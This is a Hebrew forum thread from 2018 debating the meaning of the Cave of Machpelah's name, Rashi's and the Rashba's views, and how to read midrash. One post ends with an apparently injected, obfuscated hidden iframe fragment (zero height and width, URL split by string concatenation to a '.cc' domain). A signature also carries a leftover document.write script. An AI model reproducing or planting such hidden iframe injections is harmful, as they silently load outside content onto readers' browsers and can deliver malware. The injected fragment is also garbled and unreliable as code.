בית פורומים עצור כאן חושבים

אדם וחוה במערת המכפלה: אמונות ודעות ודגם התנהגות

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-29/10/2018 15:59 לינק ישיר 
אדם וחוה במערת המכפלה: אמונות ודעות ודגם התנהגות

אברהם אבינו צריך לקבור את אשתו. הוא מחפש אחוזת קבר. והוא מבקש להשיג את מערת המכפלה.

 (ב) וַתָּמָת שָׂרָה בְּקִרְיַת אַרְבַּע

(ג) וַיָּקָם אַבְרָהָם מֵעַל פְּנֵי מֵתוֹ וַיְדַבֵּר אֶל בְּנֵי חֵת לֵאמֹר:

(ח)  אִם יֵשׁ אֶת נַפְשְׁכֶם לִקְבֹּר אֶת מֵתִי ... פִגְעוּ לִי בְּעֶפְרוֹן

(ט) וְיִתֶּן לִי אֶת מְעָרַת הַמַּכְפֵּלָה ...  בְּכֶסֶף מָלֵא יִתְּנֶנָּה לִי ... לַאֲחֻזַּת קָבֶר:

(יד) וַיַּעַן עֶפְרוֹן

(טו) ... אֶרֶץ אַרְבַּע מֵאֹת שֶׁקֶל כֶּסֶף בֵּינִי וּבֵינְךָ מַה הִוא וְאֶת מֵתְךָ קְבֹר:

(טז) וַיִּשְׁקֹל אַבְרָהָם לְעֶפְרֹן ... אַרְבַּע מֵאוֹת שֶׁקֶל כֶּסֶף עֹבֵר לַסֹּחֵר:

(יז) וַיָּקָם שְׂדֵה עֶפְרוֹן אֲשֶׁר בַּמַּכְפֵּלָה

(יח) לְאַבְרָהָם לְמִקְנָה לְעֵינֵי בְנֵי חֵת:

(יט) וְאַחֲרֵי כֵן קָבַר אַבְרָהָם אֶת שָׂרָה אִשְׁתּוֹ אֶל מְעָרַת שְׂדֵה הַמַּכְפֵּלָה (פרק כג)

 

ובאותו מקום נקברו אחר כך יצחק ויעקב ולאה, כפי שמעיד יעקב המבקש להיקבר גם הוא שם.

(ל) בַּמְּעָרָה אֲשֶׁר בִּשְׂדֵה הַמַּכְפֵּלָה ... אֲשֶׁר קָנָה אַבְרָהָם מֵאֵת עֶפְרֹן הַחִתִּי לַאֲחֻזַּת קָבֶר:

(לא) שָׁמָּה קָבְרוּ אֶת אַבְרָהָם וְאֵת שָׂרָה אִשְׁתּוֹ שָׁמָּה קָבְרוּ אֶת יִצְחָק וְאֵת רִבְקָה אִשְׁתּוֹ וְשָׁמָּה קָבַרְתִּי אֶת לֵאָה (פרק מט)

לא כל צאצאי אברהם ויצחק נקברו שם. עשו הלך וכבש את ארץ אדום ובכך ויתר על ירושת ארץ כנען, כולל מערת המכפלה. אמנם המדרש מתקשה להאמין שעשו יסכים לוותר, ולכן הוא מייחס לו את הנסיון להשיג את המערה לעצמו  ולמנוע מיעקב להיקבר שם. הסיפור מסתיים כידוע בקרב שבו כורת נכדו של יעקב את ראשו של הדוד עשו.

ועכשו יש לשאול שתי שאלות חשובות:

מה פירוש השם "מערת המכפלה"?

מדוע בחר אברהם דווקא את המקום הזה לאחוזת קבר?

אשר לשאלה הראשונה, לפי פשט הפסוקים, השדה הוא שנקרא שדה המכפלה. ויתכן שהמערה נקראה על שם השדה. כמובן, יתכן להפך,  שהמערה היתה כפולה והשדה נקרא על שמה. אבל לפי הניסוח שהמערה היתה בקצה השדה, נראה שהשדה ושמו עיקר והמערה טפלה.

אך אם נאמר שהמערה היתה כפולה, אזי יש לומר שהמערה הכילה שתי קומות או שני "חדרים", שבהם היה מקום נרחב יותר לקבורה. כך גם סוברים בני הדור הראשון של אמוראי בבל, רב ושמואל, כמובא לקמן.

זה מה שמכנים "פשט". אבל נאמרו גם הסברים אחרים...

 





דווח על תוכן פוגעני

מנותק
נשלח ב-2/11/2018 03:39 לינק ישיר 
המשך 7





דדווח על תוכן פוגעני

מנותק
נשלח ב-2/11/2018 03:38 לינק ישיר 
המשך 6





דדווח על תוכן פוגעני

מנותק
נשלח ב-2/11/2018 03:37 לינק ישיר 
המשך5





דדווח על תוכן פוגעני

מנותק
נשלח ב-2/11/2018 03:36 לינק ישיר 
המשך4





דדווח על תוכן פוגעני

מנותק
נשלח ב-2/11/2018 03:35 לינק ישיר 
המשך3





דדווח על תוכן פוגעני

מנותק
נשלח ב-2/11/2018 03:32 לינק ישיר 
המשך



תוקן על ידי yossiw ב- 02/11/2018 03:33:30




דדווח על תוכן פוגעני

מנותק
נשלח ב-2/11/2018 03:28 לינק ישיר 
נראה לי שיש כאן תשובות לא רעות..

ועיקרו שהמכפלה היא ביטוי למקום שיש בו בנין שתי קומות.
וע"ש שהיו כבר חצובים בסלע מקומות קבורה מוכנים
אמנם זה חידוש מאד מקורי (של הרבי מליובוויץ) אבל מתיישב יפה



(מספרו של הרב יחזקאל סופר מעיני רש"י
נמצא גם באוצר החכמה אך זה צולם ישירות מהספר)
יש המשך שם למי שמעונין בניני קבלה חסידות וכו'

 








תוקן על ידי yossiw ב- 02/11/2018 04:11:17





דדווח על תוכן פוגעני

מנותק
נשלח ב-1/11/2018 15:01 לינק ישיר 

מערת המכפלה בנויה קומה על קומה מערה מוכפלת.



דדווח על תוכן פוגעני

מנותק
נשלח ב-1/11/2018 14:37 לינק ישיר 

ר' מיימוני, יש"כ על הפירוט הרב, אבל מתוך כך נדמה שלא שמת לב לכמה פרטים קטנים . 

רש"י אינו מזכיר מי הקבורים שם, אלא שכפולה בזוגות, ועל השאלה המתבקשת אםאדם וחווה לא קבורים שם למה נקראת כבר אז מכפלה, היישוב פשוט, שהיא נקראת כך היום אף שאז לא נקראה כך. לדוגמא, כיכר רבין, יתכן היום אדם או עיתון שיספר על איאוע שהתרחש לפני ארבעים שנה בכיכר רבין ולא יציין שבזמן האירוע היה שמה שונה.

זאת בנוסף לעניין העקרוני עצמו,  שהוזכר גם באשכול שהפנת אליו. כשרש"י בא לפרש פירוש מילולי אין ענינו לערוך מחקר הסטורי אם זה מתיישב לפיו. כאן נכתבה המילה מכפלה ובחז"ל הובאו שתי דעות, רש"י שלא היתה לו סיבה לשונית או מילולית להעדיף דעה אחת על השנייה, הביא את שתיהן.
 

 



דדווח על תוכן פוגעני

מחובר
נשלח ב-1/11/2018 04:34 לינק ישיר 
נמדשיר

למען האמת את הספר לא ראיתי אבל ראיתי כמה תשובות של הרשבא והבנתי את דעתו בענין הספר לא חידש לי דברים שלא ידעתי אלא הספר הביא לי את הידיעה שהרשבא כתב זאת במפורש בצורה ברורה את כל הפרטים שאין לי צורך לכתוב וגם יש לדעה שלי מקור כתוב אני בגלל ההשגות שלי מתנגד לפילוסופיה ואני מבין שלוגית אי אפשר להוכיח על אלוקים דרך פילוסופיה ושמחתי לראות שהדברים כתובים בצורה מפורשת וברורה. קראתי מספיק פילוסופיה כדי לדעת שאין להשיג את האמת דרכם עד שפניתי לקבלה וברוך השם עזרו לי משמים להשיג את הקבלה בצורה טובה מאוד לכן אני מרשה לעצמי ללכת בגדולות אגב אני לא חפשתי הוכחות בפילוסופיה כי הלכתי תמיד עם אמונה אני חפשתי להשיג את הנהגתו ואת אחדותו של בורא עולם ולהשיג את ענין הידיעה והבחירה שאין סתירה לא דרך הבנה אלא להבין שזה יתכן אצל בורא עולם ללא סתירה וגם רציתי להבין בגדול בדיוק את שלוש הנקודות שכותב הרשבא שיש לדעת לכן הגישה שלי בלימוד הפילוסופיה היתה שונה כי היא באה מתוך אמונה ורצון להבין ולא רצון להוכיח את ענין אחדות הבורא. בצעירותי חשבתי שההוכחה הפילוסופית בפרט של חובת הלבבות היא הוכחה ברורה עד שגדלתי והבנתי שלוגית לא ניתן להוכיח דבר שלא משיגים והענין עמוק מאוד שהרי רואים שירעבם עבד עבודה זרה אפילו שדיבר עם הקב"ה. מיימוני הצלחתי להוריד את הספר ל PDF לא דרך הכפתור שלהם אלא באפשרות שגוגל נותן להוריד

תוקן על ידי נמדשיר ב- 01/11/2018 04:45:18




דדווח על תוכן פוגעני

מחובר
נשלח ב-31/10/2018 20:22 לינק ישיר 
נמדשיר

מיימוני כתב:


הספר הוא "מנחת קנאות". אי אפשר להורידו בישראל משום מה.

אם אתה רוצה להוריד אותו תתקין את הסייר OPERA ותפעיל את האופציה של VPN וכך תוכל לראות ברור את הספר.
אני שולח לך קישור לסייר OPERA.
אגב בספר הזה יש הרבה פרקים  מעניינים שאם נקבל אותם אפשר לסגור את  הפורום עצכ"ח , היות והמנחת קנאות שם מאריך בפרקים אחד לאחד נגד שיטת הפורם ומצאתי שם אסמכתא גדןלה לצורת החשיבה שלי הן בנושא האמונה והן בנושא יחוד השם שכידוע  .
ר ישראל רובין ומיימוני
תודה לכם שעל ידי ר ישראל שהביא ציטוט מהספר ועל ידי מיימוני שהסתקרן למצוא את הספר  זכיתי  לראות את הספר הזה .
הוא מאוד מעניין אותי ואני צריך לקרוא אותו הרבה שם יש את דעת האמת לכל נושאי הפורום שברור שדעתו נגד צורת החשיבה של הפורום ונכתב בשפה פשוטה וברורה .
אני מודה לבורא עולם שזיכה אותי להגיע לספר הנ"ל דרך הפורם .

למי שיש מכשיר אנדרואיד יכול להכנס לאותו סייר ולראות שם הוראות איך לעיין בספר דרך המכשיר .

וזה מה שנאמר על רבי מאיר  תוכו אכל קליפתו זרק .

יש שם עוד נושאים על הבנת התורה שבארץ ישראל שכמובן יש לשנות את שיטת הלימוד מהישיבות בחוץ לארץ כדי לקבל את השגת ארץ ישראל .
בקיצור הספר מתוק מדבש בשבילי .ושוב תודה לכל הגורמים שהביאו אותי לגלות את הספר.

ברור שדרך הקישור ששלחתי קל לקרוא את הטקסט.

אבל הרי הפורום הוא כדעת המו"נ לכן תשאיר את הפורום בשבילם אבל מי שדעתו כדעת הראשונים והקבלה  אין לא מה לדון בפורום על דברים פשוטים .
היות ואחד מצצט מו"נ ואחד מצטט רשב"א .ומקובלים

scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי נמדשיר ב- 31/10/2018 21:13:34




דדווח על תוכן פוגעני

מחובר
נשלח ב-31/10/2018 16:59 לינק ישיר 

נמדשיר

איקון ירוק של תודה.

הספר הוא "מנחת קנאות". אי אפשר להורידו בישראל משום מה.

ובכן, חומר הרקע זמין, פחות או יותר, כדי לדון בויכוח הזה ומה הוא מלמד אותנו.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-31/10/2018 11:52 לינק ישיר 
נמדשיר

מיימוני כתב:
 אשכול.




דדווח על תוכן פוגעני

מחובר
נשלח ב-31/10/2018 08:00 לינק ישיר 

ירוחמ

איקון ירוק על האבחנות ועל עצם העלאת הנושא של מה בין סיפורי התורה לסיפורי חז"ל.

ויש להוסיף על דבריך.

איני מסכים שסיפוריהם של רבותינו נכתבו ללא הוכחה או ראיה. יש קודם כל לחלק אותם לסוגים, ואז מתברר כי יש מדרשים שנועדו לחלץ את הפשט. כאשר אמרו שיצחק זיהה שהוא הקרבן והלך עם אברהם בהסכמה, זה היה בשל החזרה פעמיים על "וילכו שניהם יחדו" (איני מצטט באריכות בתקוה שזה מוכר). לא רק שזו ראיה, לדעתי, אלא שהם ממש חשפו מה שנרמז בפסוקים.

ויש מדרשים שמביעים רעיון בדרך סיפורית. ואז סבורני שגם המספר לא התכוון שהדברים התנהלו בדיוק כך, אלא שהעניק להם תוכן ופרטים וקישוטים. והמספר סמך על כך שהשומעים יבינו.

ויש שהשתמשו בפסוקים כדי להביע רעיון שאינו קשור אליהם כלל.

וכבר מצאנו שתי גישות למדרשים מהסוג השלישי בין האמוראים. כאשר אורחו של רב נחמן אומר ש"יעקב אבינו לא מת" הוא בהחלט לא התכוון לומר שצדיקים חיים לאחר מותם (ולמרות מה שעשו מזה בחסידות מסויימת בזמננו). וכאשר הקשה לו רב נחמן: וכי חנטו החונטים לחינם (מצוטט מהזכרון, סליחה), וענה לו: מה זרעו בחיים אף הוא בחיים, הבהיר לו שאין זה אלא מטאפורה או ביטוי ספרותי לכך שעם ישראל ממשיכים במורשת.

אשר למחלוקות בין הדרשנים והמדרשים, היא מתחלקת לסוגים. לפעמים היא נובעת ממדרש רעיוני, ואז אין טעם לשאול על הסתירה. לפחות אחד מהצדדים לא בא לטעון שבידו חשיפה של ידיעה מהטקסט.

ולפעמים יש מחלוקת במשמעות של מילה או אירוע. כאשר נחלקו חכמים מה עשה ישמעאל כאשר היה "מצחק" הם הביעו דעות שונות בהתאם להשוואה מילונית של השורש על פי פסוקים אחרים. כאשר נחלקו חכמים על מה רבו קין והבל, הם הציעו אפשרויות שונות למריבה בהסתמך על הכרתם את הפסיכולוגיה האנושית. וסביר שבמקרה האחרון אף צד לא סבר שבידו האמת המוחלטת וההיסטורית גם אם סברו שהסיפור הזה היה ונברא והוא חלק מההיסטוריה של האנושות.



דדווח על תוכן פוגעני

מנותק
נשלח ב-31/10/2018 07:53 לינק ישיר 

הגרי"ן

איקון ירוק על תגובה צינית להפליא.

ויותר מכך על איזכור מחלוקת הרשב"א ובר פלוגתו.

אני מקוה שאיני נכשל במשטמה, אבל אני בהחלט ער לכך שהקריטריונים שלנו היום לבחינת מדרשים תובעים יותר ממה שתבעו בימי רבותינו בעבר.

אשר למחלוקת של הרשב"א נגד הסובר שגויות האבות הפכו לעפר, מעניין לבחון אותה בפני עצמה. ואולי ראוי לזה אשכול.

התוכל לציין את מיקום תשובת הרשב"א? לא מצאתי בפרוייקט השו"ת שלי ונותרתי חסר אונים ללא הטקסט.



דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > אדם וחוה במערת המכפלה: אמונות ודעות ודגם התנהגות
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 לדף הבא סך הכל 2 דפים.

bholext